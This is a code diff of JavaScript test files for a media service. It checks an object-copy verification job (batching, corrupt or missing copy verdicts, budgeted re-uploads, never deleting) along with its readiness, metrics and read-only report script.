+ async function obj(name, { size, hash = null, status = 'ready', locs = [], owner = 7 }) {
+ const id = await model.createObject({ app_id: 'live', kind: 'file', lifecycle_status: status, size_bytes: size, content_hash: hash,
+ owner_user_id: owner, owner_subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ', mime_type: 'application/octet-stream', metadata: { filename: name } });
+ for (const l of locs) await model.upsertLocation(id, l);
+ return id;
+ }
+
+ // Fake provider: bucket[provider][key] = size (absent → 404). r2 is "not configured" (HEAD undefined).
+ const bucket = { b2: {} };
+ const heads = [], uploads = [];
+ const head = async (provider, key) => { heads.push(`${provider}:${key}`); if (!bucket[provider]) return undefined; const s = bucket[provider][key]; return s === undefined ? null : { size: s }; };
+ const upload = async (provider, key, file) => { uploads.push(`${provider}:${key}`); if (!bucket[provider]) return undefined; const size = fs.statSync(file).size; bucket[provider][key] = size; return { size }; };
+
+ const A = Buffer.from('aaaaaaaaaa'), B = Buffer.from('bbbbbbbbbbbb'), E = Buffer.from('eeee'), G = Buffer.from('gggggg');
+ const ids = {
+ good: await obj('a', { size: A.length, hash: sha(A), locs: [{ provider: 'local', key: put('a', A), state: 'present' }] }),
+ restore: await obj('b', { size: B.length, locs: [{ provider: 'local', key: put('b', B), state: 'present' }, { provider: 'b2', key: 'objs/b', state: 'pending' }] }),
+ remoteCorrupt: await obj('c', { size: 300, locs: [{ provider: 'b2', key: 'objs/c', state: 'pending' }] }),
+ localGone: await obj('d', { size: 40, locs: [{ provider: 'local', key: path.join(env.OBJECTS_PATH, 'live', 'd-gone'), state: 'present' }] }),
+ localBadHash: await obj('e', { size: E.length, hash: '0'.repeat(64), locs: [{ provider: 'local', key: put('e', E), state: 'present' }, { provider: 'b2', key: 'objs/e', state: 'pending' }] }),
+ unverifiable: await obj('f', { size: 50, locs: [{ provider: 'r2', key: 'objs/f', state: 'pending' }] }),
+ corruptNoRepair: await obj('g', { size: G.length, locs: [{ provider: 'local', key: put('g', G), state: 'present' }, { provider: 'b2', key: 'objs/g', state: 'pending' }] }),
+ noLocations: await obj('h', { size: 10 }),
+ };
+ bucket.b2['objs/c'] = 12345; // wrong size → corrupt
+ bucket.b2['objs/e'] = E.length; // the remote copy of e is fine
+ bucket.b2['objs/g'] = 999; // corrupt, and MEDIA_VERIFY_REPAIR_CORRUPT is off
+ await obj('deleted', { size: 1, status: 'deleted', locs: [{ provider: 'local', key: '/nowhere', state: 'missing' }] });
+ await obj('uploading', { size: 1, status: 'uploading' });
+ // Legacy row that points at the object whose local file is gone (the report must show it).
+ await d.prepare("INSERT INTO vods (id, app_id, user_id, title, file_path, file_size, visibility, is_public, storage_provider, object_id) OVERRIDING SYSTEM VALUE VALUES (41, 'live', 7, 'Lost stream', ?, 40, 'public', 1, 'local', ?) RETURNING id")
+ .run(path.join(env.OBJECTS_PATH, 'live', 'd-gone'), ids.localGone);
+ const READY = Object.keys(ids).length;
+
+ const loc = async (id, p) => await d.prepare('SELECT * FROM media_locations WHERE object_id = ? AND provider = ?').get(id, p);
+ const ver = async (id) => await d.prepare('SELECT * FROM media_verifications WHERE object_id = ?').get(id);
+ const snapshot = async () => ({
+ objects: (await d.prepare('SELECT COUNT(*) c FROM media_objects').get()).c,
+ locations: (await d.prepare('SELECT COUNT(*) c FROM media_locations').get()).c,
+ vods: (await d.prepare('SELECT COUNT(*) c FROM vods').get()).c,
+ files: fs.readdirSync(path.join(env.OBJECTS_PATH, 'live')).sort().join(','),
});
});
- const server = await new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });
- const base = `http://127.0.0.1:${server.address().port}`;
- const ready = await request(base, '/api/ready');
- const body = JSON.parse(ready.body);
- assert.strictEqual(ready.status, 200, 'no good copy never fails readiness');
- assert.strictEqual(body.ready, true);
- assert.strictEqual(body.status, 'degraded');
- assert.deepStrictEqual(body.degraded, ['object_copies']);
- assert.strictEqual(body.checks.object_copies.required, false);
- assert.strictEqual(body.checks.object_copies.detail.no_good_copy, 3);
- assert.match(body.checks.object_copies.error, /^3 ready object\(s\) with no good copy/);
- const m = await request(base, '/metrics');
- assert.ok(m.body.includes('media_objects_no_good_copy 3\n'), m.body);
- assert.match(m.body, /media_verify_last_run_timestamp_seconds \d{10}\n/);
- server.close(); inst.stop();
- console.log('✅ no-good-copy count on /metrics and as a degraded, never-failing /api/ready check');
-
- // ── Report script (read-only) ──
- const script = path.join(__dirname, '..', 'scripts', 'no-good-copy-report.js');
- const run = (a) => { try { return { code: 0, out: execFileSync(process.execPath, [script, ...a], { env: { ...process.env, ...env }, encoding: 'utf8' }) }; } catch (e) { return { code: e.status, out: String(e.stdout), err: String(e.stderr) }; } };
- const snapBefore = JSON.stringify(d.prepare('SELECT * FROM media_locations ORDER BY id').all()) + JSON.stringify(d.prepare('SELECT * FROM media_verifications ORDER BY object_id').all());
- const js = run(['--json', '--db', env.DB_PATH]);
- assert.strictEqual(js.code, 1, `objects found → exit 1 ${js.err || ''}`);
- const rep = JSON.parse(js.out);
- assert.strictEqual(rep.count, 3);
- assert.deepStrictEqual(rep.objects.map(o => o.object_id).sort(), [ids.remoteCorrupt, ids.localGone, ids.noLocations].sort());
- const gone = rep.objects.find(o => o.object_id === ids.localGone);
- assert.deepStrictEqual(gone.owner, { app: 'live', user_id: 7, subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ' });
- assert.strictEqual(gone.references.vods[0].id, 41);
- assert.strictEqual(gone.references.vods[0].title, 'Lost stream');
- assert.strictEqual(gone.locations[0].state, 'missing');
- assert.strictEqual(gone.last_verification.status, 'no_good_copy');
- assert.strictEqual(rep.objects.find(o => o.object_id === ids.noLocations).locations.length, 0);
- const txt = run(['--db', env.DB_PATH]);
- assert.strictEqual(txt.code, 1);
- assert.ok(txt.out.includes('3 ready object(s) with no good copy'));
- assert.ok(txt.out.includes(ids.localGone) && txt.out.includes('vods#41') && txt.out.includes('locations: (none recorded)'));
- assert.ok(run(['--db', env.DB_PATH, '--app', 'games']).out.startsWith('0 ready object(s)'), '--app filters');
- assert.strictEqual(JSON.stringify(d.prepare('SELECT * FROM media_locations ORDER BY id').all()) + JSON.stringify(d.prepare('SELECT * FROM media_verifications ORDER BY object_id').all()), snapBefore, 'the report writes nothing');
- console.log('✅ no-good-copy report: owners, legacy references, locations; text + --json; read-only');
-
- // ── Scheduling: disabled by env; start/stop are idempotent ──
- config.verify.enabled = false;
- assert.strictEqual(job.start(), false);
- config.verify.enabled = true;
- assert.strictEqual(job.start({ initialDelayMs: 60 * 60 * 1000 }), true);
- job.stop();
-
- db.close();
- fs.rmSync(tmp, { recursive: true, force: true });
- console.log('objects-verify: all checks passed');
- process.exit(0);
+
+ function request(base, p) {
+ return new Promise((resolve, reject) => {
+ http.get(base + p, (res) => { let b = ''; res.on('data', (c) => { b += c; }); res.on('end', () => resolve({ status: res.statusCode, body: b })); }).on('error', reject);
+ });
+ }
+
+ (async () => {
+ const before = await snapshot();
+ // Nothing may unlink or remove anything while the job runs.
+ const deletes = [];
+ const orig = { unlinkSync: fs.unlinkSync, unlink: fs.unlink, rmSync: fs.rmSync, rm: fs.rm };
+ fs.unlinkSync = (...a) => { deletes.push(a[0]); return orig.unlinkSync(...a); };
+ fs.unlink = (...a) => { deletes.push(a[0]); return orig.unlink(...a); };
+ fs.rmSync = (...a) => { deletes.push(a[0]); return orig.rmSync(...a); };
+ fs.rm = (...a) => { deletes.push(a[0]); return orig.rm(...a); };
+
+ // ── Bounded batches, rotating: never-verified first, then least recently verified ──
+ const r1 = await job.runOnce({ batch: 3, head, upload });
+ assert.strictEqual(r1.objects_checked, 3, 'a run never checks more than the batch');
+ assert.strictEqual((await d.prepare('SELECT COUNT(*) c FROM media_verifications').get()).c, 3);
+ const firstBatch = r1.objects.map(o => o.object_id);
+ const r2 = await job.runOnce({ batch: 3, head, upload });
+ assert.ok(r2.objects.every(o => !firstBatch.includes(o.object_id)), 'the next run takes objects not verified yet');
+ const r3 = await job.runOnce({ batch: 3, head, upload });
+ assert.strictEqual((await d.prepare('SELECT COUNT(*) c FROM media_verifications').get()).c, READY, `${READY} ready objects covered in ceil(${READY}/3) runs`);
+ assert.ok(r3.objects.slice(READY - 6).every(o => firstBatch.includes(o.object_id)), 'once all are verified, the oldest verified come round again');
+ assert.ok(!await d.prepare("SELECT 1 FROM media_verifications v JOIN media_objects o ON o.id = v.object_id WHERE o.lifecycle_status != 'ready'").get(), 'only ready objects are verified');
+ console.log('✅ bounded batches rotate through every ready object (never-verified first, then oldest)');
+
+ // ── Verdicts recorded ──
+ assert.strictEqual((await ver(ids.good)).status, 'good');
+ assert.strictEqual((await loc(ids.good, 'local')).state, 'present');
+ assert.ok((await loc(ids.good, 'local')).verified_at);
+ assert.strictEqual((await loc(ids.remoteCorrupt, 'b2')).state, 'corrupt');
+ assert.strictEqual((await loc(ids.remoteCorrupt, 'b2')).size_bytes, 12345);
+ assert.strictEqual((await ver(ids.remoteCorrupt)).status, 'no_good_copy');
+ assert.strictEqual((await loc(ids.localGone, 'local')).state, 'missing');
+ assert.strictEqual((await ver(ids.localGone)).status, 'no_good_copy');
+ assert.strictEqual((await loc(ids.localBadHash, 'local')).state, 'corrupt', 'a local copy whose sha256 differs is corrupt');
+ assert.strictEqual((await loc(ids.localBadHash, 'b2')).state, 'present');
+ assert.strictEqual((await ver(ids.localBadHash)).good_providers, 'b2');
+ assert.strictEqual((await ver(ids.unverifiable)).status, 'unverifiable', 'an unconfigured provider is unverifiable, never missing');
+ assert.strictEqual((await loc(ids.unverifiable, 'r2')).state, 'pending');
+ assert.strictEqual((await ver(ids.noLocations)).status, 'no_good_copy');
+ const runs = await d.prepare('SELECT * FROM media_verify_runs ORDER BY id').all();
+ assert.strictEqual(runs.length, 3);
+ assert.ok(runs.every(r => r.finished_at && r.objects_checked >= 1 && r.no_good_copy_total != null));
+ assert.strictEqual(runs.reduce((n, r) => n + r.objects_checked, 0), 9);
+ console.log('✅ verdicts recorded on media_locations, media_verifications and media_verify_runs');
+
+ // ── Re-upload of a missing remote copy from the good local copy ──
+ assert.ok(uploads.includes('b2:objs/b'), 'missing b2 copy re-uploaded');
+ assert.strictEqual(bucket.b2['objs/b'], B.length);
+ assert.strictEqual((await loc(ids.restore, 'b2')).state, 'present');
+ // The run that first checked it did the re-upload. (media_verifications keeps only the latest verdict,
+ // and a later run may re-verify it once batches rotate, with no re-upload left to do.)
+ const firstRestore = [r1, r2, r3].flatMap(r => r.objects).find(o => o.object_id === ids.restore);
+ assert.strictEqual(firstRestore.reuploads, 1, 'the run that first checked it re-uploaded the missing copy');
+ assert.ok(!uploads.includes('b2:objs/g'), 'a corrupt remote copy is not overwritten unless MEDIA_VERIFY_REPAIR_CORRUPT=1');
+ assert.strictEqual((await loc(ids.corruptNoRepair, 'b2')).state, 'corrupt');
+ assert.ok(!uploads.includes('b2:objs/e'), 'never re-uploads from a local copy that failed its hash');
+ assert.strictEqual(runs.reduce((n, r) => n + r.reuploaded, 0), 1);
+ // The per-run budget: with none left the restore is deferred, not attempted.
+ delete bucket.b2['objs/b'];
+ const deferred = await job.verifyObject(await model.getObject(ids.restore), { head, upload, hashMaxBytes: 1e9, repairCorrupt: false, budget: { left: 0 } });
+ assert.match(deferred.reuploads[0].error, /^deferred/);
+ assert.strictEqual((await loc(ids.restore, 'b2')).state, 'missing');
+ // Opt-in corrupt repair.
+ const repaired = await job.verifyObject(await model.getObject(ids.corruptNoRepair), { head, upload, hashMaxBytes: 1e9, repairCorrupt: true, budget: { left: 1 } });
+ assert.strictEqual(repaired.reuploads[0].ok, true);
+ assert.strictEqual(bucket.b2['objs/g'], G.length);
+ bucket.b2['objs/b'] = B.length;
+ console.log('✅ missing remote copy restored from a verified-good local copy (budgeted; corrupt only when opted in)');
+
+ // ── Never deletes ──
+ fs.unlinkSync = orig.unlinkSync; fs.unlink = orig.unlink; fs.rmSync = orig.rmSync; fs.rm = orig.rm;
+ assert.deepStrictEqual(deletes, [], 'no unlink/rm during verification');
+ assert.deepStrictEqual(await snapshot(), before, 'every object, location, legacy row and file is still there');
+ assert.ok(await model.getObject(ids.remoteCorrupt) && await model.getObject(ids.localGone), 'objects with no good copy are kept');
+ assert.strictEqual((await model.getObject(ids.localGone)).lifecycle_status, 'ready', 'and their lifecycle is untouched');
+ console.log('✅ never deletes: files, objects, locations and legacy rows all remain');
+
+ // ── Count, /metrics and /api/ready ──
+ assert.strictEqual(await copyReport.countNoGoodCopy(db), 3, 'c (remote corrupt), d (local gone), h (no locations)');
+ const st = await job.status();
+ assert.strictEqual(st.no_good_copy, 3);
+ assert.strictEqual(st.verified_objects, READY);
+ assert.ok(st.last_run.finished_at);
+
+ const express = require('express');
+ const observability = require('../server/observability');
+ const app = express();
+ const inst = observability.instrument(app, { release: 'test' });
+ observability.mountReady(app, inst.registry, {
+ release: 'test', db, config, auth: { jwksLoaded: () => true }, recorder: { activeCount: () => 0 },
+ events: { status: () => ({ enabled: false }) }, remote: { configured: () => false, probe: async () => true },
+ });
+ const server = await new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });
+ const base = `http://127.0.0.1:${server.address().port}`;
+ const ready = await request(base, '/api/ready');
+ const body = JSON.parse(ready.body);
+ assert.strictEqual(ready.status, 200, 'no good copy never fails readiness');
+ assert.strictEqual(body.ready, true);
+ assert.strictEqual(body.status, 'degraded');
+ assert.deepStrictEqual(body.degraded, ['object_copies']);
+ assert.strictEqual(body.checks.object_copies.required, false);
+ assert.strictEqual(body.checks.object_copies.detail.no_good_copy, 3);
+ assert.match(body.checks.object_copies.error, /^3 ready object\(s\) with no good copy/);
+ const m = await request(base, '/metrics');
+ assert.ok(m.body.includes('media_objects_no_good_copy 3\n'), m.body);
+ assert.match(m.body, /media_verify_last_run_timestamp_seconds \d{10}\n/);
+ server.close(); inst.stop();
+ console.log('✅ no-good-copy count on /metrics and as a degraded, never-failing /api/ready check');
+
+ // ── Report script (read-only) ──
+ const script = path.join(__dirname, '..', 'scripts', 'no-good-copy-report.js');
+ const { runScript } = require('./helpers/run-script');
+ const run = async (a) => await runScript(script, a, { env });
+ const snapBefore = JSON.stringify(await d.prepare('SELECT * FROM media_locations ORDER BY id').all()) + JSON.stringify(await d.prepare('SELECT * FROM media_verifications ORDER BY object_id').all());
+ const js = await run(['--json']);
+ assert.strictEqual(js.code, 1, `objects found → exit 1 ${js.err || ''}`);
+ const rep = JSON.parse(js.out);
+ assert.strictEqual(rep.count, 3);
+ assert.deepStrictEqual(rep.objects.map(o => o.object_id).sort(), [ids.remoteCorrupt, ids.localGone, ids.noLocations].sort());
+ const gone = rep.objects.find(o => o.object_id === ids.localGone);
+ assert.deepStrictEqual(gone.owner, { app: 'live', user_id: 7, subject: 'usr_01JAB2C3D4E5F6G7H8J9K0MNPQ' });
+ assert.strictEqual(gone.references.vods[0].id, 41);
+ assert.strictEqual(gone.references.vods[0].title, 'Lost stream');
+ assert.strictEqual(gone.locations[0].state, 'missing');
+ assert.strictEqual(gone.last_verification.status, 'no_good_copy');
+ assert.strictEqual(rep.objects.find(o => o.object_id === ids.noLocations).locations.length, 0);
+ const txt = await run([]);
+ assert.strictEqual(txt.code, 1);
+ assert.ok(txt.out.includes('3 ready object(s) with no good copy'));
+ assert.ok(txt.out.includes(ids.localGone) && txt.out.includes('vods#41') && txt.out.includes('locations: (none recorded)'));
+ assert.ok((await run(['--app', 'games'])).out.startsWith('0 ready object(s)'), '--app filters');
+ assert.strictEqual(JSON.stringify(await d.prepare('SELECT * FROM media_locations ORDER BY id').all()) + JSON.stringify(await d.prepare('SELECT * FROM media_verifications ORDER BY object_id').all()), snapBefore, 'the report writes nothing');
+ console.log('✅ no-good-copy report: owners, legacy references, locations; text + --json; read-only');
+
+ // ── Scheduling: disabled by env; start/stop are idempotent ──
+ config.verify.enabled = false;
+ assert.strictEqual(job.start(), false);
+ config.verify.enabled = true;
+ assert.strictEqual(job.start({ initialDelayMs: 60 * 60 * 1000 }), true);
+ job.stop();
+
+ await db.close();
+ fs.rmSync(tmp, { recursive: true, force: true });
+ console.log('objects-verify: all checks passed');
+ process.exit(0);
+ })().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
})().catch((err) => { console.error(err); process.exit(1); });
@@ -10,176 +10,178 @@ const http = require('http');
@@ -10,176 +10,178 @@ const http = require('http');
const net = require('net');
const net = require('net');
const { spawn } = require('child_process');
const { spawn } = require('child_process');
-const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-obs-'));
-const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
-const ENV = {
- DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), PASTES_PATH: dir('pastes'),
- THUMBNAILS_PATH: dir('thumbnails'), FILES_PATH: dir('files'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),
- MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'http://127.0.0.1:9', RELEASE_COMMIT: 'abcdef1234567',
-};
-for (const k of ['MEDIA_B2_ENDPOINT', 'MEDIA_B2_BUCKET', 'MEDIA_R2_ENDPOINT', 'MEDIA_R2_BUCKET', 'EVENTS_URL']) process.env[k] = ''; // never a real tier or Events (dotenv keeps set values)
-Object.assign(process.env, ENV);
+(async () => {
+ const tmp = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-obs-'));
+ const dir = (n) => { const d = path.join(tmp, n); fs.mkdirSync(d, { recursive: true }); return d; };
+ const ENV = {
+ DB_PATH: path.join(tmp, 'media.db'), VOD_PATH: dir('vods'), CLIPS_PATH: dir('clips'), PASTES_PATH: dir('pastes'),
+ THUMBNAILS_PATH: dir('thumbnails'), FILES_PATH: dir('files'), OBJECTS_PATH: dir('objects'), ASSETS_PATH: dir('assets'),
+ MEDIA_PUBLIC_URL: 'https://media.test', OV_NETWORK_URL: 'http://127.0.0.1:9', RELEASE_COMMIT: 'abcdef1234567',
+ };
+ for (const k of ['MEDIA_B2_ENDPOINT', 'MEDIA_B2_BUCKET', 'MEDIA_R2_ENDPOINT', 'MEDIA_R2_BUCKET', 'EVENTS_URL']) process.env[k] = ''; // never a real tier or Events (dotenv keeps set values)
+ Object.assign(process.env, ENV);
-const db = require('../server/db/database');
-const config = require('../server/config');
-const express = require('express');
-const observability = require('../server/observability');
+ const db = require('../server/db/database');
+ const config = require('../server/config');
+ const express = require('express');
+ const observability = require('../server/observability');
-function request(base, p, headers = {}) {
- return new Promise((resolve, reject) => {
- http.get(base + p, { headers }, (res) => {
- let b = ''; res.on('data', (d) => { b += d; });
- res.on('end', () => resolve({ status: res.statusCode, body: b }));
- }).on('error', reject);
- });
-}
-const listen = (app) => new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });
+ function request(base, p, headers = {}) {
+ return new Promise((resolve, reject) => {
+ http.get(base + p, { headers }, (res) => {
+ let b = ''; res.on('data', (d) => { b += d; });
+ res.on('end', () => resolve({ status: res.statusCode, body: b }));
+ }).on('error', reject);
+ });
+ }
+ const listen = (app) => new Promise((resolve) => { const s = app.listen(0, '127.0.0.1', () => resolve(s)); });
-(async () => {
- db.getDb();
- db.upsertApp({ app_id: 'live', api_key: 'live-key' });
+ (async () => {
+ db.getDb();
+ await db.upsertApp({ app_id: 'live', api_key: 'live-key' });
- // ── Wiring as in index.js, with injectable dependencies ──
- let jwks = true; let remoteUp = true; let remoteProbes = 0; let outbox = { enabled: true, pending: 2, rejected: 1 }; let recording = 1;
- const app = express();
- const inst = observability.instrument(app, { release: 'abcdef123456' });
- app.use('/o', require('express').Router().get('/:id', (req, res) => res.status(404).json({ error: 'Not found' })));
- observability.mountReady(app, inst.registry, {
- release: 'abcdef123456', db, config,
- auth: { jwksLoaded: () => jwks },
- recorder: { activeCount: () => recording },
- events: { status: () => outbox },
- remote: { configured: (n) => n === 'b2', probe: async () => { remoteProbes++; if (!remoteUp) throw new Error('b2 HeadBucket failed: NetworkingError'); return true; } },
- });
- const server = await listen(app);
- const base = `http://127.0.0.1:${server.address().port}`;
+ // ── Wiring as in index.js, with injectable dependencies ──
+ let jwks = true; let remoteUp = true; let remoteProbes = 0; let outbox = { enabled: true, pending: 2, rejected: 1 }; let recording = 1;
+ const app = express();
+ const inst = observability.instrument(app, { release: 'abcdef123456' });
+ app.use('/o', require('express').Router().get('/:id', (req, res) => res.status(404).json({ error: 'Not found' })));
+ observability.mountReady(app, inst.registry, {
+ release: 'abcdef123456', db, config,
+ auth: { jwksLoaded: () => jwks },
+ recorder: { activeCount: () => recording },
+ events: { status: () => outbox },
+ remote: { configured: (n) => n === 'b2', probe: async () => { remoteProbes++; if (!remoteUp) throw new Error('b2 HeadBucket failed: NetworkingError'); return true; } },
+ });
+ const server = await listen(app);
+ const base = `http://127.0.0.1:${server.address().port}`;
- let r = await request(base, '/api/ready');
- assert.strictEqual(r.status, 200, r.body);
- let body = JSON.parse(r.body);
- assert.strictEqual(body.ready, true);
- assert.strictEqual(body.status, 'ready');
- assert.strictEqual(body.service, 'media');
- assert.strictEqual(body.recordings_in_progress, 1);
- const names = Object.keys(body.checks).sort();
- assert.deepStrictEqual(names, ['db', 'events_outbox', 'network_jwks', 'object_copies', 'remote_b2', 'remote_r2', 'storage_clips', 'storage_files', 'storage_objects', 'storage_pastes', 'storage_thumbnails', 'storage_vods']);
- // r2 is not configured: listed as skipped with the reason, never a pretend pass (WS-Q task 7), and an optional
- // skip leaves the verified service ready.
- assert.deepStrictEqual([body.checks.remote_r2.status, body.checks.remote_r2.reason], ['skipped', 'not configured']);
- assert.deepStrictEqual(body.skipped, ['remote_r2']);
- for (const [n, c] of Object.entries(body.checks)) {
- if (n === 'remote_r2') continue;
- assert.strictEqual(c.status, 'ok', n);
- assert.strictEqual(typeof c.latency_ms, 'number');
- assert.ok(Date.parse(c.checked_at));
- assert.strictEqual(c.required, n === 'db' || n.startsWith('storage_'), `${n} required?`);
- }
- assert.deepStrictEqual(body.checks.db.detail, { apps: 1 });
- assert.deepStrictEqual(fs.readdirSync(config.vod.path), [], 'the write probe leaves nothing behind');
+ let r = await request(base, '/api/ready');
+ assert.strictEqual(r.status, 200, r.body);
+ let body = JSON.parse(r.body);
+ assert.strictEqual(body.ready, true);
+ assert.strictEqual(body.status, 'ready');
+ assert.strictEqual(body.service, 'media');
+ assert.strictEqual(body.recordings_in_progress, 1);
+ const names = Object.keys(body.checks).sort();
+ assert.deepStrictEqual(names, ['db', 'events_outbox', 'network_jwks', 'object_copies', 'remote_b2', 'remote_r2', 'storage_clips', 'storage_files', 'storage_objects', 'storage_pastes', 'storage_thumbnails', 'storage_vods', 'valkey']);
+ // r2 is not configured: listed as skipped with the reason, never a pretend pass (WS-Q task 7), and an optional
+ // skip leaves the verified service ready.
+ assert.deepStrictEqual([body.checks.remote_r2.status, body.checks.remote_r2.reason], ['skipped', 'not configured']);
+ assert.deepStrictEqual(body.skipped.sort(), ['remote_r2', 'valkey'], 'Valkey too: no VALKEY_URL in this test');
+ for (const [n, c] of Object.entries(body.checks)) {
+ if (n === 'remote_r2' || n === 'valkey') continue;
+ assert.strictEqual(c.status, 'ok', n);
+ assert.strictEqual(typeof c.latency_ms, 'number');
+ assert.ok(Date.parse(c.checked_at));
+ assert.strictEqual(c.required, n === 'db' || n.startsWith('storage_'), `${n} required?`);
+ }
+ assert.deepStrictEqual([body.checks.db.detail.apps, body.checks.db.detail.store], [1, 'pglite'].map((v, i) => (i === 1 && process.env.MEDIA_TEST_STORE === 'pg' ? 'postgresql' : v)));
+ assert.deepStrictEqual(fs.readdirSync(config.vod.path), [], 'the write probe leaves nothing behind');
- // Optional failures: degraded, still 200.
- jwks = false; remoteUp = false; outbox = { enabled: true, pending: 5000, rejected: 0 };
- r = await request(base, '/api/ready');
- body = JSON.parse(r.body);
- assert.strictEqual(r.status, 200);
- assert.strictEqual(body.status, 'degraded');
- assert.deepStrictEqual(body.degraded.sort(), ['events_outbox', 'network_jwks']);
- assert.strictEqual(body.checks.remote_b2.status, 'ok', 'the remote tier probe is cached for a minute');
- assert.strictEqual(remoteProbes, 1);
+ // Optional failures: degraded, still 200.
+ jwks = false; remoteUp = false; outbox = { enabled: true, pending: 5000, rejected: 0 };
+ r = await request(base, '/api/ready');
+ body = JSON.parse(r.body);
+ assert.strictEqual(r.status, 200);
+ assert.strictEqual(body.status, 'degraded');
+ assert.deepStrictEqual(body.degraded.sort(), ['events_outbox', 'network_jwks']);
+ assert.strictEqual(body.checks.remote_b2.status, 'ok', 'the remote tier probe is cached for a minute');
+ assert.strictEqual(remoteProbes, 1);
- // A remote-tier failure on a fresh readiness (no cache): degraded, never "down".
- const fresh = observability.createMediaReadiness({ release: 'x', db, config, auth: { jwksLoaded: () => true }, recorder: { activeCount: () => 0 }, events: { status: () => ({ enabled: false }) }, remote: { configured: () => true, probe: async (n) => { throw new Error(`${n} HeadBucket failed: AccessDenied`); } } });
- body = await fresh.run();
- assert.strictEqual(body.ready, true);
- assert.deepStrictEqual(body.degraded, ['remote_b2', 'remote_r2']);
- assert.strictEqual(body.checks.remote_r2.error, 'r2 HeadBucket failed: AccessDenied');
- assert.deepStrictEqual(body.checks.events_outbox.detail, { enabled: false });
- assert.strictEqual(body.checks.events_outbox.status, 'skipped', 'a relay that is off verified nothing: skipped, never ok');
- assert.match(body.checks.events_outbox.reason, /relay off/);
+ // A remote-tier failure on a fresh readiness (no cache): degraded, never "down".
+ const fresh = observability.createMediaReadiness({ release: 'x', db, config, auth: { jwksLoaded: () => true }, recorder: { activeCount: () => 0 }, events: { status: () => ({ enabled: false }) }, remote: { configured: () => true, probe: async (n) => { throw new Error(`${n} HeadBucket failed: AccessDenied`); } } });
+ body = await fresh.run();
+ assert.strictEqual(body.ready, true);
+ assert.deepStrictEqual(body.degraded, ['remote_b2', 'remote_r2']);
+ assert.strictEqual(body.checks.remote_r2.error, 'r2 HeadBucket failed: AccessDenied');
+ assert.deepStrictEqual(body.checks.events_outbox.detail, { enabled: false });
+ assert.strictEqual(body.checks.events_outbox.status, 'skipped', 'a relay that is off verified nothing: skipped, never ok');
+ assert.match(body.checks.events_outbox.reason, /relay off/);
- // A storage directory that cannot be written: not ready, 503, named.
- jwks = true; outbox = { enabled: false };
- fs.rmSync(config.vod.clipsPath, { recursive: true });
- fs.writeFileSync(config.vod.clipsPath, 'not a directory');
- r = await request(base, '/api/ready');
- body = JSON.parse(r.body);
- assert.strictEqual(r.status, 503);
- assert.strictEqual(body.ready, false);
- assert.deepStrictEqual(body.failed, ['storage_clips']);
- fs.rmSync(config.vod.clipsPath); fs.mkdirSync(config.vod.clipsPath);
+ // A storage directory that cannot be written: not ready, 503, named.
+ jwks = true; outbox = { enabled: false };
+ fs.rmSync(config.vod.clipsPath, { recursive: true });
+ fs.writeFileSync(config.vod.clipsPath, 'not a directory');
+ r = await request(base, '/api/ready');
+ body = JSON.parse(r.body);
+ assert.strictEqual(r.status, 503);
+ assert.strictEqual(body.ready, false);
+ assert.deepStrictEqual(body.failed, ['storage_clips']);
+ fs.rmSync(config.vod.clipsPath); fs.mkdirSync(config.vod.clipsPath);
- // ── /metrics ──
- await request(base, '/o/med_01J9ZX4YQ0ABCDEFGHJKMNPQRS');
- await request(base, '/assets/icon-192.png');
- recording = 2;
- r = await request(base, '/metrics');
- assert.strictEqual(r.status, 200);
- assert.ok(r.body.includes('release_info{service="media",release="abcdef123456"} 1\n'));
- assert.ok(r.body.includes('http_requests_total{method="GET",route="/o/:id",status_class="4xx"} 1\n'), 'object ids never reach a label');
- assert.ok(r.body.includes('http_requests_total{method="GET",route="/assets/*",status_class="4xx"} 1\n'));
- assert.ok(r.body.includes('http_requests_total{method="GET",route="/api/ready",status_class="2xx"}'));
- assert.ok(!r.body.includes('med_01J9'));
- assert.ok(r.body.includes('media_recordings_in_progress 2\n'));
- assert.ok(r.body.includes('# TYPE media_object_locations gauge'));
- assert.ok(r.body.includes('# TYPE media_objects gauge'));
- assert.ok(!r.body.includes('media_events_outbox{'), 'no outbox running: no invented series');
- r = await request(base, '/metrics', { 'X-Forwarded-For': '203.0.113.7' });
- assert.strictEqual(r.status, 404, 'proxied callers never see metrics');
- server.close();
- inst.stop();
+ // ── /metrics ──
+ await request(base, '/o/med_01J9ZX4YQ0ABCDEFGHJKMNPQRS');
+ await request(base, '/assets/icon-192.png');
+ recording = 2;
+ r = await request(base, '/metrics');
+ assert.strictEqual(r.status, 200);
+ assert.ok(r.body.includes('release_info{service="media",release="abcdef123456"} 1\n'));
+ assert.ok(r.body.includes('http_requests_total{method="GET",route="/o/:id",status_class="4xx"} 1\n'), 'object ids never reach a label');
+ assert.ok(r.body.includes('http_requests_total{method="GET",route="/assets/*",status_class="4xx"} 1\n'));
+ assert.ok(r.body.includes('http_requests_total{method="GET",route="/api/ready",status_class="2xx"}'));
+ assert.ok(!r.body.includes('med_01J9'));
+ assert.ok(r.body.includes('media_recordings_in_progress 2\n'));
+ assert.ok(r.body.includes('# TYPE media_object_locations gauge'));
+ assert.ok(r.body.includes('# TYPE media_objects gauge'));
+ assert.ok(!r.body.includes('media_events_outbox{'), 'no outbox running: no invented series');
+ r = await request(base, '/metrics', { 'X-Forwarded-For': '203.0.113.7' });
+ assert.strictEqual(r.status, 404, 'proxied callers never see metrics');
+ server.close();
+ inst.stop();
- // ── The real index.js boots with both routes ──
- const port = await new Promise((resolve) => { const s = net.createServer().listen(0, '127.0.0.1', () => { const p = s.address().port; s.close(() => resolve(p)); }); });
- const bootDir = fs.mkdtempSync(path.join(os.tmpdir(), 'ov-media-obs-boot-'));
